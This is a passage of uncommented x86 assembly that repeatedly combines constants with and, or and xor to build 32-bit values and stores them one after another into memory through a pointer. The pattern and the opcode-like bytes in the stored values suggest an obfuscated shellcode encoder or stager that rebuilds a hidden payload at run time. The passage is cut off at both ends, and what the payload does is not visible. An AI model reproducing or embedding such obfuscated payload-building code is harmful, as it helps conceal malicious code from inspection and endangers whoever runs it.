add ebx, edx
xor eax, 0x448098ef
xor eax, 0x236495ac
and eax, 0x128d0d14
or eax, 0x50002a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x791dcc9a
and eax, 0x1000000
or eax, 0x8a000001
mov dword [ebx], eax
add ebx, edx
and eax, 0x453b8cd4
xor eax, 0xf5f7413
and eax, 0x34001
or eax, 0xc0808044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51d8b2
and eax, 0xc0400801
or eax, 0x58100
mov dword [ebx], eax
add ebx, edx
and eax, 0x28beabfb
and eax, 0x901
or eax, 0x83f8448a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68208638
and eax, 0x498801a1
or eax, 0x4010048
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b097a9d
and eax, 0x43dabb01
and eax, 0xb00
or eax, 0xb85580f8
mov dword [ebx], eax
add ebx, edx
and eax, 0x467f332e
xor eax, 0x70f1f9da
and eax, 0x30a05032
or eax, 0xb580501
mov dword [ebx], eax
add ebx, edx
or eax, 0x655c7e8c
or eax, 0x70bbfe3
and eax, 0x117dfc55
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1baef4eb
and eax, 0xac0008a
or eax, 0x312c4501
mov dword [ebx], eax
add ebx, edx
or eax, 0x753d2d3e
and eax, 0x97d6005
or eax, 0x8040
mov dword [ebx], eax
add ebx, edx
and eax, 0x37093180
and eax, 0x47266134
and eax, 0x1000000
or eax, 0x82b44d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77cbad4f
or eax, 0x1031bbf5
and eax, 0x440901c1
or eax, 0x9800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c28db08
and eax, 0x4c000100
or eax, 0xb0558ab4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3af2a239
and eax, 0x4c0319b
and eax, 0x81
or eax, 0x8901c202
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e6e4f10
and eax, 0x6ad78f05
and eax, 0x38c01
or eax, 0x45887054
mov dword [ebx], eax
add ebx, edx
or eax, 0x296b6a23
xor eax, 0x1a2e39e1
and eax, 0x1c08380
or eax, 0x280068
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ec1209c
and eax, 0xc00088
or eax, 0x8b284501
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52eec9b8
and eax, 0xc1028c01
or eax, 0x81704c
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e41f05c
and eax, 0x2d923eda
and eax, 0x2c000800
or eax, 0xd04d8101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d8a90dc
and eax, 0x81c41189
or eax, 0x2204402
mov dword [ebx], eax
add ebx, edx
and eax, 0x258d261a
xor eax, 0x13796a15
and eax, 0x1089000a
or eax, 0x450001e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a5aec09
and eax, 0x6c4189e0
or eax, 0x80040204
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d1735a
and eax, 0x5cd54ea8
and eax, 0x8004880
or eax, 0x8101a003
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73e70c39
and eax, 0x4882e400
or eax, 0x5090845
mov dword [ebx], eax
add ebx, edx
and eax, 0x11ebd8af
or eax, 0x40bc72ca
and eax, 0x400d3ac8
or eax, 0xac400120
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b3759fa
and eax, 0x450a0010
or eax, 0x1081186c
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e4c897
xor eax, 0x73651ae6
and eax, 0x208
or eax, 0xd05539a4
mov dword [ebx], eax
add ebx, edx
or eax, 0x10f7b862
or eax, 0x362e2eb5
and eax, 0x448b107c
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bba31f4
and eax, 0x600121b8
or eax, 0x80440200
mov dword [ebx], eax
add ebx, edx
or eax, 0x138ee180
and eax, 0x418b0030
or eax, 0xc000845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x54989e96
xor eax, 0x3884f0cb
and eax, 0x20050228
or eax, 0xdc4801d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e50d71d
or eax, 0x7157fd31
and eax, 0x510b2874
or eax, 0x4800000
mov dword [ebx], eax
add ebx, edx
and eax, 0x17022e13
xor eax, 0x5fa65d19
and eax, 0x800108
or eax, 0x14282e4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5cce190c
and eax, 0x47ce08a4
and eax, 0x10c0080
or eax, 0x8ae05509
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2a85b5e7
and eax, 0xa109e044
or eax, 0xe060c01
mov dword [ebx], eax
add ebx, edx
or eax, 0x47deb51
and eax, 0x8005c845
or eax, 0x40801000
mov dword [ebx], eax
add ebx, edx
or eax, 0x67245adc
and eax, 0x45810a55
or eax, 0x80a0120
mov dword [ebx], eax
add ebx, edx
xor eax, 0xead52af
xor eax, 0x4d6951e0
and eax, 0xc4d0020
or eax, 0xa00003c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x72beb70
xor eax, 0x173ceb0c
and eax, 0x38400038
or eax, 0x45a44d03
mov dword [ebx], eax
add ebx, edx
or eax, 0x24147b2a
and eax, 0x33c0bed0
and eax, 0x30400a00
or eax, 0x88158109
mov dword [ebx], eax
add ebx, edx
or eax, 0x21dd1f3f
xor eax, 0x28e0f01a
and eax, 0x81014201
or eax, 0x8008082
mov dword [ebx], eax
add ebx, edx
or eax, 0x19f336b1
and eax, 0x183b011
or eax, 0x44080844
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e70b96b
or eax, 0x66f1067
and eax, 0xc45395c
or eax, 0xa0000280
mov dword [ebx], eax
add ebx, edx
or eax, 0xa3476da
xor eax, 0x6cd5ff71
and eax, 0x4080002d
or eax, 0xd0b3550
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ac21be8
and eax, 0x710ca302
and eax, 0x40000100
or eax, 0xa84d32cc
mov dword [ebx], eax
add ebx, edx
or eax, 0x460ad32
or eax, 0x6014a0c2
and eax, 0xec588d88
or eax, 0x13000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4822377d
and eax, 0x150abaf4
or eax, 0x4081450b
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e80ae6b
and eax, 0x54808868
or eax, 0x150184
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34ec7404
and eax, 0xb88927a
and eax, 0x89068
or eax, 0x8bf76f97
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b275250
and eax, 0x8034040
or eax, 0xe080a805
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1215116a
and eax, 0xe8048901
or eax, 0x410000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2192c1fd
xor eax, 0xb11aca8
and eax, 0x3000d89
or eax, 0x80cc4002
mov dword [ebx], eax
add ebx, edx
or eax, 0x3982e1a4
and eax, 0x9880181
or eax, 0x44010040
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e3479a0
and eax, 0x489509c0
or eax, 0x1000820c
mov dword [ebx], eax
add ebx, edx
and eax, 0x3016978b
and eax, 0x10148388
or eax, 0x2beb7c77
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b60e5b3
xor eax, 0x6c6896ce
and eax, 0x4cf70480
or eax, 0xb3085015
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7991d3af
xor eax, 0x2def9638
and eax, 0x8b011002
or eax, 0x166cfd
mov dword [ebx], eax
add ebx, edx
or eax, 0x18ca8899
or eax, 0x1834bf1
and eax, 0x8b0ff845
or eax, 0x24000000
mov dword [ebx], eax
add ebx, edx
and eax, 0xfcc2f67
xor eax, 0x68e8a506
and eax, 0x45208441
or eax, 0x1b5004
mov dword [ebx], eax
add ebx, edx
and eax, 0x6084ef34
and eax, 0x4400
or eax, 0x8b1439c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a7dc746
and eax, 0x121a80c
or eax, 0x4c024441
mov dword [ebx], eax
add ebx, edx
and eax, 0x79a56acd
and eax, 0x40012800
or eax, 0x904c13b0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e4ef730
xor eax, 0x431eedf6
and eax, 0x5090174
or eax, 0x50820809
mov dword [ebx], eax
add ebx, edx
and eax, 0x33dcc187
and eax, 0x1800104
or eax, 0x4282e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f16d633
or eax, 0x73ea4fcd
and eax, 0xbec5589
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x506ff1c1
and eax, 0xc883b041
or eax, 0x20000804
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e50165a
or eax, 0x6c1db23c
and eax, 0x28058000
or eax, 0x90400901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22d5915f
or eax, 0xe5132df
and eax, 0x82d0088b
or eax, 0x10c4500
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c8692f4
and eax, 0x4d8801c1
or eax, 0x10000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f583cd0
xor eax, 0x74883fa0
and eax, 0xa500050
or eax, 0xf484e98c
mov dword [ebx], eax
add ebx, edx
and eax, 0x18491768
or eax, 0x5c8bdfb7
and eax, 0x548bdfff
or eax, 0x1002000
mov dword [ebx], eax
add ebx, edx
and eax, 0x24a8aea6
and eax, 0x4808004
or eax, 0xe3720118
mov dword [ebx], eax
add ebx, edx
xor eax, 0x63d1da5f
and eax, 0x76dae212
and eax, 2
or eax, 0x810000dd
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c2c28ac
and eax, 0x80
or eax, 0xbca962
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a32c4ff
and eax, 0x5d239485
and eax, 0x8228000
or eax, 0xa6d00100
mov dword [ebx], eax
add ebx, edx
or eax, 0x75185ca5
or eax, 0x4b9d7fc0
and eax, 0x8b6c6c44
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1972a197
and eax, 0x200004
or eax, 0x42051041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e04457
xor eax, 0x4cd34d0e
and eax, 0x1000010
or eax, 0x24000082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e811cb9
and eax, 0x1002
or eax, 0x8314
mov dword [ebx], eax
add ebx, edx
and eax, 0xe65559d
and eax, 0x14
or eax, 0x120821
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f40b1fe
and eax, 0x48108900
or eax, 0x90800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2705cf2c
and eax, 0x8b00000c
or eax, 0x12
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e2624f9
xor eax, 0x221124ed
and eax, 0xc1010000
or eax, 0x2080204d
mov dword [ebx], eax
add ebx, edx
and eax, 0x6d7312c0
or eax, 0x78143d74
and eax, 0x2860
or eax, 0x4002
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ea4c997
or eax, 0x11d64213
and eax, 0x1024003
or eax, 0x8a00b180
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f46f55a
and eax, 0x1cd32266
and eax, 0x10000040
or eax, 0xe2811c15
mov dword [ebx], eax
add ebx, edx
or eax, 0x3fccfca6
or eax, 0x4e4c7f2c
and eax, 0x603c
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d79207d
xor eax, 0x1837c039
and eax, 0x4540a000
or eax, 0x9a015281
mov dword [ebx], eax
add ebx, edx
xor eax, 0x726039f0
or eax, 0x50520773
and eax, 0x88000000
or eax, 0x2880000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47cb81e0
and eax, 0xc0
or eax, 0x1e18
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c2c7969
and eax, 0x240c4581
or eax, 0x100000a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1024e057
xor eax, 0x25a3a52e
and eax, 0x10
or eax, 0x790c
mov dword [ebx], eax
add ebx, edx
or eax, 0x13d887c4
and eax, 0x1bc1342a
and eax, 0x400000
or eax, 0x19cb35
mov dword [ebx], eax
add ebx, edx
or eax, 0x480f814
and eax, 0x4498b00
or eax, 0x8040000
mov dword [ebx], eax
add ebx, edx
or eax, 0x64c518bd
or eax, 0x71eec53c
and eax, 0x742fc181
or eax, 0x2102000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b43bf0e
and eax, 0x71010000
or eax, 0x80800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d18674a
and eax, 0x442df980
and eax, 0x4000
or eax, 0x160d
mov dword [ebx], eax
add ebx, edx
or eax, 0x27c26f8a
and eax, 0x6c00188
or eax, 0x18188000
mov dword [ebx], eax
add ebx, edx
or eax, 0x75828c1
and eax, 0x15880000
or eax, 0x40030000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x250a3376
xor eax, 0x697140d0
and eax, 0xc00100
or eax, 0xc60a8010
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f2e8bc8
and eax, 0
or eax, 0x810000ab
mov dword [ebx], eax
add ebx, edx
and eax, 0x513f5e27
and eax, 0x22
or eax, 0xe6f1c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x18f4ac4f
and eax, 0xe08000
or eax, 0x400a0100
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d0713cc
and eax, 0x100004c
or eax, 0x80000013
mov dword [ebx], eax
add ebx, edx
and eax, 0x4de982fe
and eax, 0x24f140c0
and eax, 0x40
or eax, 0x7226cab2
mov dword [ebx], eax
add ebx, edx
and eax, 0x100dc21b
or eax, 0x207dd4c0
and eax, 0x101c9042
or eax, 0x8702282c
mov dword [ebx], eax
add ebx, edx
or eax, 0x527a532
and eax, 0x69a93ffb
and eax, 0x1290000
or eax, 0x44020000
mov dword [ebx], eax
add ebx, edx
and eax, 0x21f39f1e
xor eax, 0x42b8e859
and eax, 0x8a2808
or eax, 0x38200504
mov dword [ebx], eax
add ebx, edx
or eax, 0x50559eba
xor eax, 0x53570d53
and eax, 0x22200000
or eax, 0x50150000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x526cf2f8
and eax, 0x59f278
or eax, 0x89a60d07
mov dword [ebx], eax
add ebx, edx
or eax, 0x67f97dba
or eax, 0x353b00a5
and eax, 0x1ed890
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x37fa3b15
and eax, 0x126ee800
or eax, 0x88010000
mov dword [ebx], eax
add ebx, edx
or eax, 0x32716361
and eax, 0x2c84ab6c
and eax, 0x8000000
or eax, 0x458b0003
mov dword [ebx], eax
add ebx, edx
or eax, 0x414b4819
xor eax, 0x23f549fc
and eax, 0x80001e4
or eax, 0x10c18008
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f97d686
and eax, 0x8000000
or eax, 0x81000002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ac73e3
and eax, 0x5886041
or eax, 0x50038c0c
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b57f12e
xor eax, 0x76e3baa8
and eax, 0x24400aa0
or eax, 0xc8152148
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e5234ac
and eax, 0xa2001500
or eax, 0x49e84089
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a94319d
and eax, 0x17a6ca90
and eax, 0x40000
or eax, 0xe8418b09
mov dword [ebx], eax
add ebx, edx
and eax, 0x18f98786
or eax, 0xc6be568
and eax, 0x801c000
or eax, 0x81000083
mov dword [ebx], eax
add ebx, edx
or eax, 0xb62bee7
and eax, 0x903e845
or eax, 0x44880000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2191a88c
and eax, 0x680800c8
or eax, 0x90453b20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d8cedbe
or eax, 0x37f5d75a
and eax, 0x151850e
or eax, 0x801
mov dword [ebx], eax
add ebx, edx
and eax, 0x15f0582d
and eax, 0x1000000
or eax, 0x548b0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b541b72
and eax, 0xca0320
or eax, 0x120808c
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a652815
or eax, 0x35d5759b
and eax, 0x1a45589
or eax, 0x8a080000
mov dword [ebx], eax
add ebx, edx
and eax, 0x331ceeb4
or eax, 0x2d885185
and eax, 0x28805405
or eax, 0xc0038040
mov dword [ebx], eax
add ebx, edx
or eax, 0x4af7614b
and eax, 0xc0458101
or eax, 0x14000800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x91ab37d
and eax, 0x191c0808
or eax, 0x22a04583
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a749c77
and eax, 0x48c3e0a6
and eax, 0x8000000
or eax, 0x217cd04d
mov dword [ebx], eax
add ebx, edx
and eax, 0x202a7c04
xor eax, 0x7fcb1b32
and eax, 0x9c04102
or eax, 0x80001489
mov dword [ebx], eax
add ebx, edx
xor eax, 0x396c60b5
and eax, 0xb0ac1014
or eax, 0x4f534081
mov dword [ebx], eax
add ebx, edx
or eax, 0x28ee5c0
and eax, 0xe44581d5
or eax, 0xa2a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c49b731
and eax, 0xf80c0488
or eax, 0x7408101
mov dword [ebx], eax
add ebx, edx
or eax, 0xc5125e7
and eax, 0x620c7cc2
and eax, 0x400824c2
or eax, 0xd83db3d
mov dword [ebx], eax
add ebx, edx
or eax, 0x12372b8
or eax, 0x13ac0aa6
and eax, 0x1a983c0
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78f10d43
and eax, 0x50ed77be
and eax, 0x480
or eax, 0x8bc04909
mov dword [ebx], eax
add ebx, edx
and eax, 0x293548b5
xor eax, 0x1dcdb8a0
and eax, 0x14cd5001
or eax, 0xeb320094
mov dword [ebx], eax
add ebx, edx
and eax, 0x6dcd1714
and eax, 0x4c851014
or eax, 0x102beb
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f234886
and eax, 0x1b249fb9
and eax, 0x1241339
or eax, 0x7cdbecc6
mov dword [ebx], eax
add ebx, edx
and eax, 0x28dfac9
and eax, 0x58a09
or eax, 0xb4400122
mov dword [ebx], eax
add ebx, edx
or eax, 0x653af611
xor eax, 0x53cd7462
and eax, 0x80008b09
or eax, 0x58452406
mov dword [ebx], eax
add ebx, edx
or eax, 0x75112ce7
and eax, 0x7d14052b
or eax, 0xa84010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c8bd794
and eax, 0x2005820f
or eax, 0x90480910
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e13527a
xor eax, 0x25cd594b
and eax, 0x1b900020
or eax, 0x20644d03
mov dword [ebx], eax
add ebx, edx
and eax, 0x15292b3e
or eax, 0x73fa72a9
and eax, 0x3784009
or eax, 0x8048044
mov dword [ebx], eax
add ebx, edx
or eax, 0x67e8903d
and eax, 0x1515bb3d
and eax, 0x1141009
or eax, 0x2a04582
mov dword [ebx], eax
add ebx, edx
or eax, 0x7fe4054e
and eax, 0x55305445
or eax, 0xb8010
mov dword [ebx], eax
add ebx, edx
or eax, 0x512c356b
and eax, 0x1097558
or eax, 0x8a000880
mov dword [ebx], eax
add ebx, edx
xor eax, 0x306a42c1
and eax, 0x80031001
or eax, 0x4080c044
mov dword [ebx], eax
add ebx, edx
and eax, 0x36c13fd9
and eax, 0x10001
or eax, 0xd0448900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x663e53f2
and eax, 0x32284883
or eax, 0x9840508
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ad18c63
and eax, 0x28dd2b76
and eax, 0x8000800
or eax, 0x17dd44d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x50193c9
and eax, 0x484580
or eax, 0x8380100b
mov dword [ebx], eax
add ebx, edx
or eax, 0x7467e3a5
xor eax, 0x6011f601
and eax, 0x158801aa
or eax, 0x40010040
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d8141b1
or eax, 0x5d781060
and eax, 0x4c4101c8
or eax, 0x80048a00
mov dword [ebx], eax
add ebx, edx
or eax, 0x26badf2
or eax, 0x2a1e4c59
and eax, 0xe54453b
or eax, 0x1800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e56bfa0
and eax, 0xc089
or eax, 0x104
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f46418c
and eax, 0x8448100
or eax, 0xc0090a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f2bf22
xor eax, 0x4060a6a
and eax, 0x8800c08
or eax, 0x33444123
mov dword [ebx], eax
add ebx, edx
or eax, 0x587ab838
and eax, 0x90ebc09
or eax, 0x84010044
mov dword [ebx], eax
add ebx, edx
or eax, 0x68deb541
xor eax, 0x6a9b7b23
and eax, 0x22
or eax, 0x90
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f0b6de1
or eax, 0x7c58c9fe
and eax, 0xb10458b
or eax, 0xa01000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xaa9896f
xor eax, 0x1a67c88b
and eax, 0x113a0445
or eax, 0x4401e810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d53fbc3
and eax, 0x20080794
or eax, 0x83850828
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f6f5f43
or eax, 0x7477c8f1
and eax, 0x8b000000
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x779d8715
and eax, 0xaf0d8005
or eax, 0x26040
mov dword [ebx], eax
add ebx, edx
and eax, 0x513637f2
and eax, 0x1020040
or eax, 0x4439c005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43b52f77
xor eax, 0x41eeec02
and eax, 0x3000330
or eax, 0x908d0cc4
mov dword [ebx], eax
add ebx, edx
or eax, 0x258c02be
and eax, 0x83000000
or eax, 0x8000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x453fb1a8
xor eax, 0x1376b9ff
and eax, 0x4d090045
or eax, 0x22d408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c0e0076
and eax, 0x1040418
or eax, 0x86800bc0
mov dword [ebx], eax
add ebx, edx
or eax, 0x4337f650
and eax, 0x4e1018c0
and eax, 0x2000000
or eax, 0x89000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x47daebd0
or eax, 0x5f2a5432
and eax, 0x42024010
or eax, 0x8081a045
mov dword [ebx], eax
add ebx, edx
or eax, 0x5630657c
and eax, 0xc0118101
or eax, 0x20440800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5745a5ee
and eax, 0x79dc01b9
and eax, 0x21000089
or eax, 0x2e04502
mov dword [ebx], eax
add ebx, edx
and eax, 0x68565337
and eax, 0x11ebd69f
and eax, 0x4001
or eax, 0x453b9c44
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb1aef72
and eax, 0x25fbfef9
and eax, 0x213000
or eax, 0x8b524dcc
mov dword [ebx], eax
add ebx, edx
and eax, 0x42984fdc
and eax, 0x10484c
or eax, 0x4d2b9001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62d615d8
and eax, 0xb604c80
or eax, 0x80023048
mov dword [ebx], eax
add ebx, edx
or eax, 0x65356458
and eax, 0x85017050
or eax, 0x10888005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x20ce7db
and eax, 0x97851708
or eax, 0x687ae840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44406117
and eax, 0x157717e0
and eax, 0x1000400
or eax, 0x88c0418b
mov dword [ebx], eax
add ebx, edx
or eax, 0x361fa94b
or eax, 0x4523c9f8
and eax, 0xffff4481
or eax, 4
mov dword [ebx], eax
add ebx, edx
and eax, 0x37ef184c
and eax, 0x304d0004
or eax, 0xc0008bfb
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59f33620
and eax, 0xde44062
and eax, 0x9000002
or eax, 0x8001c181
mov dword [ebx], eax
add ebx, edx
or eax, 0x4036094c
and eax, 0x8103c04d
or eax, 0x14883000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x323e4ac3
and eax, 0xa7b5ba08
or eax, 0x584a4540
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e8957da
xor eax, 0x70c1a6f0
and eax, 0x91040422
or eax, 0x6e409119
mov dword [ebx], eax
add ebx, edx
or eax, 0x5fc2c2d5
and eax, 0x844d7ff
or eax, 0x392800
mov dword [ebx], eax
add ebx, edx
or eax, 0x43a14cdf
and eax, 0xbbc458b
or eax, 0x30000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x50290645
and eax, 0x23e9857d
and eax, 0x21280445
or eax, 0x1054d800
mov dword [ebx], eax
add ebx, edx
and eax, 0x15dfcf05
and eax, 0x22591da8
and eax, 0x500c00
or eax, 0x3b80418b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e334f8a
and eax, 0x30610001
or eax, 0x21cb44c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62b917e3
and eax, 0xc4018a
or eax, 0x89205401
mov dword [ebx], eax
add ebx, edx
and eax, 0x4eb8c963
and eax, 0x8a04001
or eax, 0xf75f0094
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52084ddb
and eax, 0xa845094e
or eax, 0x100082b1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57495623
or eax, 0x1fb8277a
and eax, 0xff3c8588
or eax, 1
mov dword [ebx], eax
add ebx, edx
and eax, 0x797cde7e
and eax, 0x49088408
or eax, 0x4837bf7
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d2de5f2
and eax, 0x10181b0
or eax, 0xc00208
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4041280f
and eax, 0x1800981
or eax, 0x8a384408
mov dword [ebx], eax
add ebx, edx
and eax, 0xbb5419e
and eax, 0x38549c18
and eax, 0x8100000
or eax, 0xf7ef4095
mov dword [ebx], eax
add ebx, edx
or eax, 0x230772a6
and eax, 0x3c9532b7
or eax, 0x948
mov dword [ebx], eax
add ebx, edx
or eax, 0x60fd3039
and eax, 0x7cfd3bff
or eax, 0x102c400
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a96cebf
or eax, 0x2395f4e8
and eax, 0x60458b09
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x63ac16c1
or eax, 0x4f92e5
and eax, 0x18081
or eax, 0x89004002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a43d457
and eax, 0x182fcf8f
and eax, 0x10000004
or eax, 0x8ae9e041
mov dword [ebx], eax
add ebx, edx
or eax, 0x196f6e09
and eax, 0x8befee4c
or eax, 0x1011b2
mov dword [ebx], eax
add ebx, edx
and eax, 0x24bcdb05
or eax, 0xa7827cb
and eax, 0x880104d
or eax, 0xc1010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x14c39418
or eax, 0x5563a7bb
and eax, 0x9738
or eax, 0x844
mov dword [ebx], eax
add ebx, edx
or eax, 0x715fde2f
or eax, 0x4fbdf079
and eax, 0x1fa1f101
or eax, 0x80000080
mov dword [ebx], eax
add ebx, edx
or eax, 0x59f966f
or eax, 0x61087925
and eax, 0x59ba0000
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e32e65b
and eax, 0x2b000010
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x479d4cb2
or eax, 0x388c1fd
and eax, 0x62810855
or eax, 0x90000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x38f46060
or eax, 0x1669572a
and eax, 0x342
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75a68b8c
or eax, 0x117a9180
and eax, 0x14d88888
or eax, 0xa000200
mov dword [ebx], eax
add ebx, edx
or eax, 0x780b3414
or eax, 0x50a3021a
and eax, 0x448b0000
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x39f5fd55
and eax, 0x1000000
or eax, 0xd6160d0c
mov dword [ebx], eax
add ebx, edx
and eax, 0x50933da9
xor eax, 0x40dced3c
and eax, 0x10040000
or eax, 0x61310000
mov dword [ebx], eax
add ebx, edx
and eax, 0x60ce456a
xor eax, 0x2bbd3a77
and eax, 0xb000057
or eax, 0x80000088
mov dword [ebx], eax
add ebx, edx
or eax, 0x76ffa120
or eax, 0x34397e73
and eax, 0xc981204d
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x3848850d
and eax, 9
or eax, 0x5810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x368b5ccd
and eax, 0x14010080
or eax, 0xc910f101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cbf3da4
xor eax, 0x27273bdb
and eax, 0x80880000
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2cbd4ced
and eax, 0x508255dd
and eax, 0
or eax, 0x1ed8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e7dce15
and eax, 0x1c5089
or eax, 0x81000502
mov dword [ebx], eax
add ebx, edx
and eax, 0x2df490e3
and eax, 0x82
or eax, 0xab2560
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ab95771
and eax, 0x8120000
or eax, 0x5e08100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2115ab3d
and eax, 0x35
or eax, 0x81000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6940358d
xor eax, 0x171bb53
and eax, 0x203008e2
or eax, 0x13c24110
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69bd0497
and eax, 0x10450920
or eax, 0x4008212
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d065466
and eax, 0x7e4f689f
and eax, 0x40000
or eax, 0x291c05
mov dword [ebx], eax
add ebx, edx
xor eax, 0x21fea504
xor eax, 0x56df892
and eax, 0xa0100
or eax, 0xd2403400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ef20ed9
or eax, 0x136f21a8
and eax, 0x90890000
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x13783d45
and eax, 0x1c40
